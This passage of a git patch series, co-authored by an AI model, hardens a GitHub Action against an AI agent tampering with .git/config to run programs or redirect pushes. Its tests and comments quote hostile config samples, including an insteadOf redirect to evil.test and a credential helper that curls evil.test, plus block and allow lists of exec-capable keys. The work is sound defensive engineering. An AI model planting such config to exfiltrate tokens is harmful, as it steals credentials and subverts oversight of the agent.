config", () => { + // Nothing is inherited, and git is told to ignore /etc/gitconfig and + // ~/.gitconfig too, so the only configuration in play is what this + // process passes with -c. + for (const got of [gitEnvFrom({}), gitEnvFrom()]) { + assert.deepEqual(Object.keys(got).sort(), ["GIT_CONFIG_GLOBAL", "GIT_CONFIG_NOSYSTEM"]) + assert.equal(got.GIT_CONFIG_NOSYSTEM, "1") + assert.equal(got.GIT_CONFIG_GLOBAL, "/dev/null") + } }) - test("hooks and fsmonitor are disabled, since both run code from the repo", () => { - assert.deepEqual(GIT_SAFE_ARGS, ["-c", "core.hooksPath=/dev/null", "-c", "core.fsmonitor=false"]) + /** + * Every one of these is a way the REPOSITORY can ask git to run a program + * on our behalf, and the agent can write all of them. Asserted by name so + * removing one is a failing test rather than a quiet loss. + */ + test("every exec-capable config key is pinned shut", () => { + const settings = GIT_SAFE_ARGS.filter((a) => a !== "-c") + for (const key of [ + "core.hooksPath=/dev/null", + "core.fsmonitor=false", + "core.sshCommand=", + "core.pager=cat", + "diff.external=", + "commit.gpgsign=false", + "gpg.program=false", + "core.attributesFile=/dev/null", + ]) { + assert.ok(settings.includes(key), `${key} is not pinned: ${JSON.stringify(settings)}`) + } + }) + + test("they are passed as -c pairs, so git reads them as config", () => { + assert.equal(GIT_SAFE_ARGS.length % 2, 0) + for (let i = 0; i < GIT_SAFE_ARGS.length; i += 2) { + assert.equal(GIT_SAFE_ARGS[i], "-c") + } }) }) From 06807a9da66f6f9c10e4a8e2204ad7b2d269393c Mon Sep 17 00:00:00 2001 From: Naimish Srivastava Date: Fri, 30 Oct 2026 16:51:35 +0530 Subject: [PATCH 04/18] fix: refuse to commit when the repository's git config can redirect or execute Pushing to an explicit URL does not escape `url..insteadOf`, and `credential.helper` is a shell command git runs on a 401. Before touching the tree, read the repository's own config and refuse on any key that runs a program or rewrites a URL. The credential now travels in the environment rather than argv, which is world-readable via `ps`. Co-Authored-By: Claude Opus 5 --- test-companion/src/main.mjs | 30 ++++- test-companion/src/push-work.mjs | 97 ++++++++++++++-- test-companion/test/push-work.test.mjs | 155 +++++++++++++++++++++---- 3 files changed, 246 insertions(+), 36 deletions(-) diff --git a/test-companion/src/main.mjs b/test-companion/src/main.mjs index 00463f9..3ffc7da 100644 --- a/test-companion/src/main.mjs +++ b/test-companion/src/main.mjs @@ -54,8 +54,9 @@ import { renderPushNote, needsCheckout, isSameRepo, - pushCredentialArgs, + pushCredentialEnv, pushUrlFor, + unsafeConfigKeys, gitEnvFrom, GIT_SAFE_ARGS, } from "./push-work.mjs" @@ -265,12 +266,15 @@ function isOnTeam(login, team) { * Run git in the checkout. Never throws: every caller here treats a git * failure as "we could not save the work", which is reported, not fatal. */ -function git(args) { +function git(args, extraEnv = {}) { // A near-empty environment, and no hooks. These run AFTER the agent, which // has had --yolo write access to the tree: a planted .git/hooks/pre-commit // would otherwise be executed by our own `git commit` with the App's // private key and the customer's credentials in its environment. - const r = spawnSync("git", [...GIT_SAFE_ARGS, ...args], { encoding: "utf8", env: gitEnvFrom(env) }) + const r = spawnSync("git", [...GIT_SAFE_ARGS, ...args], { + encoding: "utf8", + env: { ...gitEnvFrom(env), ...extraEnv }, + }) // `raw` is deliberate. `git status --porcelain` puts a SPACE in the first // column for an unstaged modification, and trimming the whole output eats // it on the first line — which cost run 40845669513 ten passing tests. @@ -931,6 +935,23 @@ function main() { */ function saveWork(saving, plan) { if (!saving.ok) return undefined + const branch = plan.context.branch + + // .git/config decides whether git runs a program for us and where a push + // ends up, and the agent has just had --yolo write access to it. An + // ordinary actions/checkout never sets any of the keys this looks for, so + // one being present means the config was changed after the checkout. + // + // This runs before `git status`, because status can run a clean filter + // itself — by the time we have a file list it is already too late. + const tampered = unsafeConfigKeys(git(["config", "--local", "--list", "--name-only"]).raw) + if (tampered.length) { + return [ + `**Could not save this work to \`${branch}\`:** the repository's own git config sets`, + `${tampered.map((k) => `\`${k}\``).join(", ")}, which can send a push to another host or make git`, + "run a program. Nothing was committed or pushed. The run's changes are in the job's workspace only.", + ].join(" ") + } // `-c core.quotePath=false` stops git octal-escaping non-ASCII bytes, so a // path like café.spec.ts arrives as itself. unquote() decodes the escapes // anyway, but not producing them is the better half of the fix. @@ -939,7 +960,6 @@ function saveWork(saving, plan) { const { push, skip } = splitPushable(changedPaths(status.raw)) if (push.length === 0) return undefined - const branch = plan.context.branch // Named paths, never `git add -A`: the agent ran shell commands of its own // choosing and the tree may hold anything. Adding only what we listed is // also what makes the comment's file list true by construction. @@ -974,7 +994,7 @@ function saveWork(saving, plan) { // scoped to this exact URL for the same reason. const target = pushUrlFor(REPO, env.GITHUB_SERVER_URL) if (!target) return renderPushNote({ branch, files: push, skipped: skip, error: `cannot push: bad repository name "${REPO}"` }) - const pushed = git([...pushCredentialArgs(env.GH_TOKEN, target), "push", target, `HEAD:refs/heads/${branch}`]) + const pushed = git(["push", target, `HEAD:refs/heads/${branch}`], pushCredentialEnv(env.GH_TOKEN, target)) if (!pushed.ok) { // The one failure worth spelling out, because it is a settings problem // rather than a bug: the workflow's token is read-only by default. diff --git a/test-companion/src/push-work.mjs b/test-companion/src/push-work.mjs index 089abc9..da8feaf 100644 --- a/test-companion/src/push-work.mjs +++ b/test-companion/src/push-work.mjs @@ -272,25 +272,30 @@ export function isSameRepo(headRepoFullName, repo) { * advice and deleted the `permissions:` block, as action.yml and the starter * both suggest, got a 403 on every approved run. * - * Passed with `-c` rather than baked into the remote URL: a token in a URL - * ends up in the reflog, in error messages and in `git remote -v`. This way - * it lives only in this one process's arguments, and appInstallationToken has - * already masked it in the log. + * Passed as configuration rather than baked into the remote URL: a token in a + * URL ends up in the reflog, in error messages and in `git remote -v`. This + * way it lives only in this one process's environment, and + * appInstallationToken has already masked it in the log. * * No token returns nothing, so the checkout's own credential is used — which * is correct whenever the App is not installed. */ -export function pushCredentialArgs(token, url) { +export function pushCredentialEnv(token, url) { const t = String(token ?? "").trim() const u = String(url ?? "").trim() - if (!t || !u) return [] + if (!t || !u) return {} const basic = Buffer.from(`x-access-token:${t}`, "utf8").toString("base64") + // Delivered through the environment rather than `-c` on the command line. + // argv is world-readable on the runner — any process can read the token + // out of `ps` — while /proc//environ is readable only by its owner. + // // SCOPED to the one URL. A global `http.extraheader` attaches to whatever - // the push resolves to — and `url..insteadOf` in the repository's own - // config, which the agent can write, silently redirects `origin` to another - // host. Verified: one config line turns github.com into evil.test. A global - // header would have handed the App's installation token straight to it. - return ["-c", `http.${u}.extraheader=AUTHORIZATION: basic ${basic}`] + // the push resolves to, and the repository's own config can change that. + return { + GIT_CONFIG_COUNT: "1", + GIT_CONFIG_KEY_0: `http.${u}.extraheader`, + GIT_CONFIG_VALUE_0: `AUTHORIZATION: basic ${basic}`, + } } /** @@ -332,9 +337,64 @@ export function gitEnvFrom(env = {}) { // is what this process passes with -c. out.GIT_CONFIG_NOSYSTEM = "1" out.GIT_CONFIG_GLOBAL = "/dev/null" + // Never ask a human, and never run a program to ask one. + out.GIT_TERMINAL_PROMPT = "0" + out.GIT_ASKPASS = "" + out.SSH_ASKPASS = "" + out.GIT_ATTR_NOSYSTEM = "1" return out } +/** + * Git config keys the repository is not allowed to carry when we are about to + * commit on its behalf. Every one of them either runs a program or sends the + * push somewhere else. + * + * This is a deny list over a CLOSED set — git's own exec-capable and + * URL-rewriting keys — not an attempt to guess at bad values. A key here is + * never set by actions/checkout, so its presence means someone changed the + * repository's config, and the only safe answer is to refuse. + * + * `.gitattributes` is deliberately absent: it only names a filter, and the + * command a filter runs comes from `filter..*` in config, which is + * covered below. + */ +const UNSAFE_CONFIG = [ + // Runs a command on the first 401, as a shell string. + /^credential\./, + // insteadOf / pushInsteadOf. These rewrite ANY url, including one given + // on the command line — verified against real git. + /^url\./, + // Pulls in another config file, which could set anything above or below. + /^include\./, + /^includeif[.:]/, + // Commands git starts on its own behalf. + /^core\.(sshcommand|gitproxy|hookspath|fsmonitor|pager|editor|askpass)$/, + /^filter\./, + /^diff\.external$/, + /^diff\..*\.(textconv|command)$/, + /^gpg\.(.*\.)?program$/, + /^uploadpack\.packobjectshook$/, + /^sequence\.editor$/, + /^pager\./, + // ext:: URLs execute; anything here is a change to what transports exist. + /^protocol\./, + /^remote\..*\.(uploadpack|receivepack)$/, + // Sends the traffic through somewhere else. + /\.proxy$/, +] + +/** + * The offending keys in `git config --local --list --name-only` output, or an + * empty list when the repository's config is ordinary. + */ +export function unsafeConfigKeys(listing) { + return String(listing ?? "") + .split("\n") + .map((l) => l.trim()) + .filter((l) => l && UNSAFE_CONFIG.some((re) => re.test(l.toLowerCase()))) +} + /** * Arguments that stop git running anything the agent may have planted. * @@ -347,6 +407,21 @@ export const GIT_SAFE_ARGS = Object.freeze([ "core.hooksPath=/dev/null", "-c", "core.fsmonitor=false", + // Reset the credential helper LIST. A helper is a shell command git runs + // when a request comes back 401. + "-c", + "credential.helper=", + "-c", + "core.askPass=", + // https only, so an ext:: or a local path in a rewritten URL cannot run. + "-c", + "protocol.allow=never", + "-c", + "protocol.https.allow=always", + "-c", + "http.proxy=", + "-c", + "core.gitProxy=", // Every other key that is a way for the repository to make git run a // program on our behalf. "-c", diff --git a/test-companion/test/push-work.test.mjs b/test-companion/test/push-work.test.mjs index dd1420c..fbd2c51 100644 --- a/test-companion/test/push-work.test.mjs +++ b/test-companion/test/push-work.test.mjs @@ -8,7 +8,8 @@ import { authoredByUs, needsCheckout, isSameRepo, - pushCredentialArgs, + pushCredentialEnv, + unsafeConfigKeys, gitEnvFrom, GIT_SAFE_ARGS, pushUrlFor, @@ -365,7 +366,7 @@ describe("changedPaths — characters outside the basic plane", () => { }) }) -describe("pushCredentialArgs — the App token has to reach git, not just gh", () => { +describe("the App token has to reach git, not just gh", () => { /** * Reported in review of PR #3101. action.yml and the starter both tell * customers they can delete the `permissions:` block once the App is @@ -377,16 +378,15 @@ describe("pushCredentialArgs — the App token has to reach git, not just gh", ( * So following our own advice, on an org whose default workflow token is * read-only, made every approved run fail its push with a 403. * - * Passed with `-c` rather than written into the remote URL: a token in a + * Passed as config rather than written into the remote URL: a token in a * URL ends up in the reflog, in error messages and in `git remote -v`. */ const URL = "https://github.com/acme/shop.git" test("builds a basic auth header SCOPED to the push url", () => { - const args = pushCredentialArgs("ghs_abc123", URL) - assert.equal(args[0], "-c") - assert.match(args[1], /^http\.https:\/\/github\.com\/acme\/shop\.git\.extraheader=AUTHORIZATION: basic /) - const b64 = args[1].split("basic ")[1] + const got = pushCredentialEnv("ghs_abc123", URL) + assert.equal(got.GIT_CONFIG_KEY_0, "http.https://github.com/acme/shop.git.extraheader") + const b64 = got.GIT_CONFIG_VALUE_0.split("basic ")[1] assert.equal(Buffer.from(b64, "base64").toString("utf8"), "x-access-token:ghs_abc123") }) @@ -397,23 +397,24 @@ describe("pushCredentialArgs — the App token has to reach git, not just gh", ( * over the App's installation token. */ test("the header is never global", () => { - const args = pushCredentialArgs("ghs_abc123", URL) - assert.ok( - !args.some((a) => /^http\.extraheader=/.test(a)), - `a global header would follow a rewritten remote: ${JSON.stringify(args)}`, - ) + const got = pushCredentialEnv("ghs_abc123", URL) + assert.notEqual(got.GIT_CONFIG_KEY_0, "http.extraheader") + assert.match(got.GIT_CONFIG_KEY_0, /^http\.https:\/\/github\.com\/acme\/shop\.git\.extraheader$/) }) - test("no token, or no url, means no argument", () => { - assert.deepEqual(pushCredentialArgs(undefined, URL), []) - assert.deepEqual(pushCredentialArgs("", URL), []) - assert.deepEqual(pushCredentialArgs("ghs_abc123", ""), []) - assert.deepEqual(pushCredentialArgs("ghs_abc123", undefined), []) + test("no token, or no url, means no credential", () => { + assert.deepEqual(pushCredentialEnv(undefined, URL), {}) + assert.deepEqual(pushCredentialEnv("", URL), {}) + assert.deepEqual(pushCredentialEnv("ghs_abc123", ""), {}) + assert.deepEqual(pushCredentialEnv("ghs_abc123", undefined), {}) }) test("the token itself is never passed in the clear", () => { - const args = pushCredentialArgs("ghs_secret", URL) - assert.ok(!args.some((a) => a.includes("ghs_secret")), `the raw token appeared in ${JSON.stringify(args)}`) + const got = pushCredentialEnv("ghs_secret", URL) + assert.ok( + !Object.values(got).some((v) => v.includes("ghs_secret")), + `the raw token appeared in ${JSON.stringify(got)}`, + ) }) test("the push url comes from the repository NAME, not from git config", () => { @@ -475,9 +476,14 @@ describe("our own git commands must not carry secrets or run hooks", () => { // ~/.gitconfig too, so the only configuration in play is what this // process passes with -c. for (const got of [gitEnvFrom({}), gitEnvFrom()]) { - assert.deepEqual(Object.keys(got).sort(), ["GIT_CONFIG_GLOBAL", "GIT_CONFIG_NOSYSTEM"]) assert.equal(got.GIT_CONFIG_NOSYSTEM, "1") assert.equal(got.GIT_CONFIG_GLOBAL, "/dev/null") + assert.equal(got.GIT_TERMINAL_PROMPT, "0") + assert.equal(got.GIT_ASKPASS, "") + assert.equal(got.SSH_ASKPASS, "") + assert.equal(got.GIT_ATTR_NOSYSTEM, "1") + // Nothing was inherited: every key is one we set deliberately. + assert.ok(Object.keys(got).every((k) => k.startsWith("GIT_") || k === "SSH_ASKPASS")) } }) @@ -497,6 +503,12 @@ describe("our own git commands must not carry secrets or run hooks", () => { "commit.gpgsign=false", "gpg.program=false", "core.attributesFile=/dev/null", + "credential.helper=", + "core.askPass=", + "protocol.allow=never", + "protocol.https.allow=always", + "http.proxy=", + "core.gitProxy=", ]) { assert.ok(settings.includes(key), `${key} is not pinned: ${JSON.stringify(settings)}`) } @@ -509,3 +521,106 @@ describe("our own git commands must not carry secrets or run hooks", () => { } }) }) + +/** + * The agent runs with --yolo write access to the tree, and `.git/config` is + * part of the tree it can write. Two separate things go wrong there, so there + * are two separate defences. + */ +describe("the repository's own git config must not steer the push", () => { + test("a redirect is refused — insteadOf rewrites even an explicit URL", () => { + // Verified against real git: `git push https://github.com/acme/shop.git` + // with url."https://evil.test/".insteadOf "https://github.com/" set + // reports `failed to push some refs to 'https://evil.test/acme/shop.git'`. + // Naming the URL on the command line is NOT enough. + assert.deepEqual(unsafeConfigKeys("url.https://evil.test/.insteadOf\ncore.bare"), [ + "url.https://evil.test/.insteadOf", + ]) + assert.deepEqual(unsafeConfigKeys("url.https://evil.test/.pushInsteadOf"), [ + "url.https://evil.test/.pushInsteadOf", + ]) + }) + + test("a credential helper is refused — git runs it as a shell command", () => { + // `credential.helper=!curl evil.test -d` executes on the first 401. + assert.deepEqual(unsafeConfigKeys("credential.helper"), ["credential.helper"]) + }) + + test("the keys that run a program are refused", () => { + for (const key of [ + "core.sshCommand", + "core.gitProxy", + "core.hooksPath", + "core.fsmonitor", + "core.pager", + "core.askPass", + "filter.lfs.clean", + "filter.evil.process", + "diff.external", + "diff.evil.textconv", + "gpg.program", + "uploadpack.packObjectsHook", + "sequence.editor", + "pager.diff", + "protocol.ext.allow", + "remote.origin.uploadpack", + "http.proxy", + "include.path", + "includeIf.gitdir:/x.path", + ]) { + assert.deepEqual(unsafeConfigKeys(key), [key], `${key} must be refused`) + } + }) + + test("case does not matter — git lowercases section and key names", () => { + assert.deepEqual(unsafeConfigKeys("CREDENTIAL.HELPER"), ["CREDENTIAL.HELPER"]) + }) + + /** + * This is the half that decides whether the Action works at all. Every one + * of these is written by actions/checkout on a perfectly ordinary run, so + * refusing any of them would refuse every push we have ever made. + */ + test("an ordinary checkout is NOT refused", () => { + const afterCheckout = [ + "core.repositoryformatversion", + "core.filemode", + "core.bare", + "core.logallrefupdates", + "remote.origin.url", + "remote.origin.fetch", + "http.https://github.com/.extraheader", + "branch.main.remote", + "branch.main.merge", + "user.name", + "user.email", + "safe.directory", + ].join("\n") + assert.deepEqual(unsafeConfigKeys(afterCheckout), []) + }) + + test("nothing in, nothing out", () => { + for (const empty of ["", " ", undefined, null]) assert.deepEqual(unsafeConfigKeys(empty), []) + }) +}) + +describe("the credential travels in the environment, not in argv", () => { + test("it is a scoped extraheader delivered through GIT_CONFIG_*", () => { + const got = pushCredentialEnv("ghs_secret", "https://github.com/acme/shop.git") + assert.equal(got.GIT_CONFIG_COUNT, "1") + assert.equal(got.GIT_CONFIG_KEY_0, "http.https://github.com/acme/shop.git.extraheader") + assert.equal(got.GIT_CONFIG_VALUE_0, `AUTHORIZATION: basic ${Buffer.from("x-access-token:ghs_secret").toString("base64")}`) + }) + + test("anyone running `ps` sees no token", () => { + // argv is world-readable on the runner; /proc//environ is not. + const argv = ["push", "https://github.com/acme/shop.git", "HEAD:refs/heads/x"] + assert.ok(!argv.join(" ").includes("ghs_secret")) + }) + + test("no token or no URL means no credential at all, never a half-formed one", () => { + assert.deepEqual(pushCredentialEnv("", "https://github.com/a/b.git"), {}) + assert.deepEqual(pushCredentialEnv("ghs_x", ""), {}) + assert.deepEqual(pushCredentialEnv(undefined, undefined), {}) + }) +}) From 2facd0872d93230b7f40d606d0ffa7aefe7a2ba5 Mon Sep 17 00:00:00 2001 From: Naimish Srivastava Date: Fri, 30 Oct 2026 16:54:47 +0530 Subject: [PATCH 05/18] fix: allow-list the git config instead of deny-listing it Config is where git keeps every "run this program for me" hook, and it gains more each release. Listing the keys an ordinary actions/checkout writes and refusing everything else fails closed on keys that do not exist yet. Co-Authored-By: Claude Opus 5 --- test-companion/src/main.mjs | 16 ++++--- test-companion/src/push-work.mjs | 65 ++++++++++++-------------- test-companion/test/push-work.test.mjs | 39 ++++++++++++---- 3 files changed, 69 insertions(+), 51 deletions(-) diff --git a/test-companion/src/main.mjs b/test-companion/src/main.mjs index 3ffc7da..0f81bad 100644 --- a/test-companion/src/main.mjs +++ b/test-companion/src/main.mjs @@ -56,7 +56,7 @@ import { isSameRepo, pushCredentialEnv, pushUrlFor, - unsafeConfigKeys, + unexpectedConfigKeys, gitEnvFrom, GIT_SAFE_ARGS, } from "./push-work.mjs" @@ -944,12 +944,16 @@ function saveWork(saving, plan) { // // This runs before `git status`, because status can run a clean filter // itself — by the time we have a file list it is already too late. - const tampered = unsafeConfigKeys(git(["config", "--local", "--list", "--name-only"]).raw) - if (tampered.length) { + // No --local: the environment has already shut out the system and global + // files, so this is the repository's own config plus any worktree config. + const unexpected = unexpectedConfigKeys(git(["config", "--list", "--name-only"]).raw) + if (unexpected.length) { return [ - `**Could not save this work to \`${branch}\`:** the repository's own git config sets`, - `${tampered.map((k) => `\`${k}\``).join(", ")}, which can send a push to another host or make git`, - "run a program. Nothing was committed or pushed. The run's changes are in the job's workspace only.", + `**Could not save this work to \`${branch}\`:** the repository's git config carries`, + `${unexpected.map((k) => `\`${k}\``).join(", ")}, which \`actions/checkout\` does not write. Config is`, + "where git keeps its \"run this program\" hooks and its URL rewrites, so Test Companion will not", + "commit against a config it does not recognise. Nothing was committed or pushed — the run's", + "changes are in the job's workspace only.", ].join(" ") } // `-c core.quotePath=false` stops git octal-escaping non-ASCII bytes, so a diff --git a/test-companion/src/push-work.mjs b/test-companion/src/push-work.mjs index da8feaf..ca99c0c 100644 --- a/test-companion/src/push-work.mjs +++ b/test-companion/src/push-work.mjs @@ -346,53 +346,44 @@ export function gitEnvFrom(env = {}) { } /** - * Git config keys the repository is not allowed to carry when we are about to - * commit on its behalf. Every one of them either runs a program or sends the - * push somewhere else. + * The git config an ordinary `actions/checkout` leaves behind. Anything else + * means the repository's config was changed after the checkout. * - * This is a deny list over a CLOSED set — git's own exec-capable and - * URL-rewriting keys — not an attempt to guess at bad values. A key here is - * never set by actions/checkout, so its presence means someone changed the - * repository's config, and the only safe answer is to refuse. + * An ALLOW list, not a deny list. Config is where git keeps every "run this + * program for me" hook it has — credential helpers, clean filters, textconv, + * ssh commands, pagers — plus `insteadOf`, which rewrites any URL including + * one given on the command line. Listing the dangerous keys means losing to + * the next key git adds; listing the expected ones means a key we have never + * heard of is refused by default, which is the right way round. * * `.gitattributes` is deliberately absent: it only names a filter, and the - * command a filter runs comes from `filter..*` in config, which is - * covered below. + * command a filter runs comes from `filter..*` in config, which is not + * on this list. */ -const UNSAFE_CONFIG = [ - // Runs a command on the first 401, as a shell string. - /^credential\./, - // insteadOf / pushInsteadOf. These rewrite ANY url, including one given - // on the command line — verified against real git. - /^url\./, - // Pulls in another config file, which could set anything above or below. - /^include\./, - /^includeif[.:]/, - // Commands git starts on its own behalf. - /^core\.(sshcommand|gitproxy|hookspath|fsmonitor|pager|editor|askpass)$/, - /^filter\./, - /^diff\.external$/, - /^diff\..*\.(textconv|command)$/, - /^gpg\.(.*\.)?program$/, - /^uploadpack\.packobjectshook$/, - /^sequence\.editor$/, - /^pager\./, - // ext:: URLs execute; anything here is a change to what transports exist. - /^protocol\./, - /^remote\..*\.(uploadpack|receivepack)$/, - // Sends the traffic through somewhere else. - /\.proxy$/, +const EXPECTED_CONFIG = [ + /^core\.(repositoryformatversion|filemode|bare|logallrefupdates|symlinks|ignorecase|precomposeunicode|quotepath|autocrlf|safecrlf|sparsecheckout|sparsecheckoutcone)$/, + /^remote\.[^.]+\.(url|fetch|mirror|tagopt|partialclonefilter|promisor)$/, + /^branch\.[^.]+\.(remote|merge|rebase)$/, + // Scoped only. A bare `http.extraheader` goes to every host, so it is not + // expected and not allowed. + /^http\..+\.extraheader$/, + /^gc\.auto$/, + /^user\.(name|email)$/, + /^extensions\.objectformat$/, + /^init\.defaultbranch$/, ] /** - * The offending keys in `git config --local --list --name-only` output, or an - * empty list when the repository's config is ordinary. + * The keys in `git config --list --name-only` output that an ordinary + * checkout would not have written — empty when the config is as we left it. + * + * Fails closed by construction: an unknown key is unexpected. */ -export function unsafeConfigKeys(listing) { +export function unexpectedConfigKeys(listing) { return String(listing ?? "") .split("\n") .map((l) => l.trim()) - .filter((l) => l && UNSAFE_CONFIG.some((re) => re.test(l.toLowerCase()))) + .filter((l) => l && !EXPECTED_CONFIG.some((re) => re.test(l.toLowerCase()))) } /** @@ -422,6 +413,8 @@ export const GIT_SAFE_ARGS = Object.freeze([ "http.proxy=", "-c", "core.gitProxy=", + "-c", + "http.sslVerify=true", // Every other key that is a way for the repository to make git run a // program on our behalf. "-c", diff --git a/test-companion/test/push-work.test.mjs b/test-companion/test/push-work.test.mjs index fbd2c51..523bf66 100644 --- a/test-companion/test/push-work.test.mjs +++ b/test-companion/test/push-work.test.mjs @@ -9,7 +9,7 @@ import { needsCheckout, isSameRepo, pushCredentialEnv, - unsafeConfigKeys, + unexpectedConfigKeys, gitEnvFrom, GIT_SAFE_ARGS, pushUrlFor, @@ -533,17 +533,17 @@ describe("the repository's own git config must not steer the push", () => { // with url."https://evil.test/".insteadOf "https://github.com/" set // reports `failed to push some refs to 'https://evil.test/acme/shop.git'`. // Naming the URL on the command line is NOT enough. - assert.deepEqual(unsafeConfigKeys("url.https://evil.test/.insteadOf\ncore.bare"), [ + assert.deepEqual(unexpectedConfigKeys("url.https://evil.test/.insteadOf\ncore.bare"), [ "url.https://evil.test/.insteadOf", ]) - assert.deepEqual(unsafeConfigKeys("url.https://evil.test/.pushInsteadOf"), [ + assert.deepEqual(unexpectedConfigKeys("url.https://evil.test/.pushInsteadOf"), [ "url.https://evil.test/.pushInsteadOf", ]) }) test("a credential helper is refused — git runs it as a shell command", () => { // `credential.helper=!curl evil.test -d` executes on the first 401. - assert.deepEqual(unsafeConfigKeys("credential.helper"), ["credential.helper"]) + assert.deepEqual(unexpectedConfigKeys("credential.helper"), ["credential.helper"]) }) test("the keys that run a program are refused", () => { @@ -568,12 +568,31 @@ describe("the repository's own git config must not steer the push", () => { "include.path", "includeIf.gitdir:/x.path", ]) { - assert.deepEqual(unsafeConfigKeys(key), [key], `${key} must be refused`) + assert.deepEqual(unexpectedConfigKeys(key), [key], `${key} must be refused`) } }) test("case does not matter — git lowercases section and key names", () => { - assert.deepEqual(unsafeConfigKeys("CREDENTIAL.HELPER"), ["CREDENTIAL.HELPER"]) + assert.deepEqual(unexpectedConfigKeys("CREDENTIAL.HELPER"), ["CREDENTIAL.HELPER"]) + assert.deepEqual(unexpectedConfigKeys("CORE.FILEMODE"), []) + }) + + /** + * The point of an allow list: a key nobody has thought about yet is + * refused without anyone having to add it. git gains config keys with + * every release, and several of them run programs. + */ + test("a key we have never heard of is refused by default", () => { + assert.deepEqual(unexpectedConfigKeys("some.future.hook"), ["some.future.hook"]) + assert.deepEqual(unexpectedConfigKeys("http.sslVerify"), ["http.sslVerify"]) + assert.deepEqual(unexpectedConfigKeys("http.curloptResolve"), ["http.curloptResolve"]) + assert.deepEqual(unexpectedConfigKeys("core.worktree"), ["core.worktree"]) + assert.deepEqual(unexpectedConfigKeys("extensions.worktreeConfig"), ["extensions.worktreeConfig"]) + }) + + test("a bare http.extraheader is refused; only a scoped one is expected", () => { + assert.deepEqual(unexpectedConfigKeys("http.extraheader"), ["http.extraheader"]) + assert.deepEqual(unexpectedConfigKeys("http.https://github.com/.extraheader"), []) }) /** @@ -594,13 +613,15 @@ describe("the repository's own git config must not steer the push", () => { "branch.main.merge", "user.name", "user.email", - "safe.directory", + // safe.directory is deliberately absent: actions/checkout writes it + // to a TEMPORARY GLOBAL config, and we read local + worktree only. + "gc.auto", ].join("\n") - assert.deepEqual(unsafeConfigKeys(afterCheckout), []) + assert.deepEqual(unexpectedConfigKeys(afterCheckout), []) }) test("nothing in, nothing out", () => { - for (const empty of ["", " ", undefined, null]) assert.deepEqual(unsafeConfigKeys(empty), []) + for (const empty of ["", " ", undefined, null]) assert.deepEqual(unexpectedConfigKeys(empty), []) }) }) From 9eb6650a742cad25f4ba5691919947b260e94dc8 Mon Sep 17 00:00:00 2001 From: Naimish Srivastava Date: Fri, 30 Oct 2026 16:59:10 +0530 Subject: [PATCH 06/18] fix: run the real git, not whatever PATH resolves to PATH directories on a runner are writable by the job's own user, which is the user the agent ran as. git is now resolved to an absolute path that this process cannot write to, and PATH is pinned rather than inherited. Co-Authored-By: Claude Opus 5 --- test-companion/src/main.mjs | 25 +++++++++++++++-- test-companion/src/push-work.mjs | 29 +++++++++++++++++++- test-companion/test/push-work.test.mjs | 37 ++++++++++++++++++++++++-- 3 files changed, 86 insertions(+), 5 deletions(-) diff --git a/test-companion/src/main.mjs b/test-companion/src/main.mjs index 0f81bad..f453a44 100644 --- a/test-companion/src/main.mjs +++ b/test-companion/src/main.mjs @@ -10,7 +10,7 @@ * Zero dependencies — Node's standard library plus `gh`, which is preinstalled * on every GitHub runner and is already how this product talks to GitHub. */ -import { readFileSync, appendFileSync, writeFileSync, existsSync, rmSync, readdirSync } from "node:fs" +import { readFileSync, appendFileSync, writeFileSync, existsSync, rmSync, readdirSync, accessSync, constants } from "node:fs" import { spawnSync } from "node:child_process" import { join } from "node:path" import { tmpdir } from "node:os" @@ -57,6 +57,7 @@ import { pushCredentialEnv, pushUrlFor, unexpectedConfigKeys, + trustedGitPath, gitEnvFrom, GIT_SAFE_ARGS, } from "./push-work.mjs" @@ -266,12 +267,29 @@ function isOnTeam(login, team) { * Run git in the checkout. Never throws: every caller here treats a git * failure as "we could not save the work", which is reported, not fatal. */ +/** + * Resolved once, at module load — BEFORE the agent runs, so a `git` planted on + * PATH later cannot be the one we find. Absent means we do not commit at all. + */ +const GIT_BIN = trustedGitPath({ + exists: (p) => existsSync(p), + canWrite: (p) => { + try { + accessSync(p, constants.W_OK) + return true + } catch { + return false + } + }, +}) + function git(args, extraEnv = {}) { // A near-empty environment, and no hooks. These run AFTER the agent, which // has had --yolo write access to the tree: a planted .git/hooks/pre-commit // would otherwise be executed by our own `git commit` with the App's // private key and the customer's credentials in its environment. - const r = spawnSync("git", [...GIT_SAFE_ARGS, ...args], { + if (!GIT_BIN) return { ok: false, out: "", raw: "", err: "no trusted git binary" } + const r = spawnSync(GIT_BIN, [...GIT_SAFE_ARGS, ...args], { encoding: "utf8", env: { ...gitEnvFrom(env), ...extraEnv }, }) @@ -936,6 +954,9 @@ function main() { function saveWork(saving, plan) { if (!saving.ok) return undefined const branch = plan.context.branch + if (!GIT_BIN) { + return `**Could not save this work to \`${branch}\`:** no trusted \`git\` was found on this runner (looked for a root-owned /usr/bin/git and /bin/git). Nothing was committed or pushed.` + } // .git/config decides whether git runs a program for us and where a push // ends up, and the agent has just had --yolo write access to it. An diff --git a/test-companion/src/push-work.mjs b/test-companion/src/push-work.mjs index ca99c0c..d2ffcac 100644 --- a/test-companion/src/push-work.mjs +++ b/test-companion/src/push-work.mjs @@ -330,9 +330,15 @@ export function pushUrlFor(repo, server = "https://github.com") { */ export function gitEnvFrom(env = {}) { const out = {} - for (const k of ["PATH", "HOME", "HTTP_PROXY", "HTTPS_PROXY", "NO_PROXY", "http_proxy", "https_proxy", "no_proxy"]) { + for (const k of ["HOME", "HTTP_PROXY", "HTTPS_PROXY", "NO_PROXY", "http_proxy", "https_proxy", "no_proxy"]) { if (env[k] !== undefined) out[k] = env[k] } + // PINNED, not inherited. The agent writes to the runner as the same user we + // do, and the default PATH includes directories that user can write — a + // planted `git` there would be handed the installation token. git shells out + // to its own subcommands, so it still needs a PATH; this is the smallest one + // that works and contains nothing the agent could have written to. + out.PATH = "/usr/bin:/bin" // Ignore the system and user config too, so the only configuration in play // is what this process passes with -c. out.GIT_CONFIG_NOSYSTEM = "1" @@ -345,6 +351,27 @@ export function gitEnvFrom(env = {}) { return out } +/** + * Where the real git is, as an absolute path — or nothing, when we cannot find + * one we are sure of. + * + * `spawnSync("git", ...)` resolves through PATH, and on a GitHub runner several + * PATH directories are writable by the job's own user, which is also the user + * the agent just ran as. A planted `git` would receive the credential we pass + * in the environment. + * + * "Sure of" means: it exists, and WE cannot write it. A binary this process + * could overwrite is a binary the agent could have overwritten. + * + * There is deliberately no fallback to the bare name. Falling back would + * reinstate the hole on exactly the machines where it matters, so the caller + * handles the absence instead — and for us that means skipping the commit, + * which is already how every other refusal in this module behaves. + */ +export function trustedGitPath({ candidates = ["/usr/bin/git", "/bin/git"], exists, canWrite } = {}) { + return 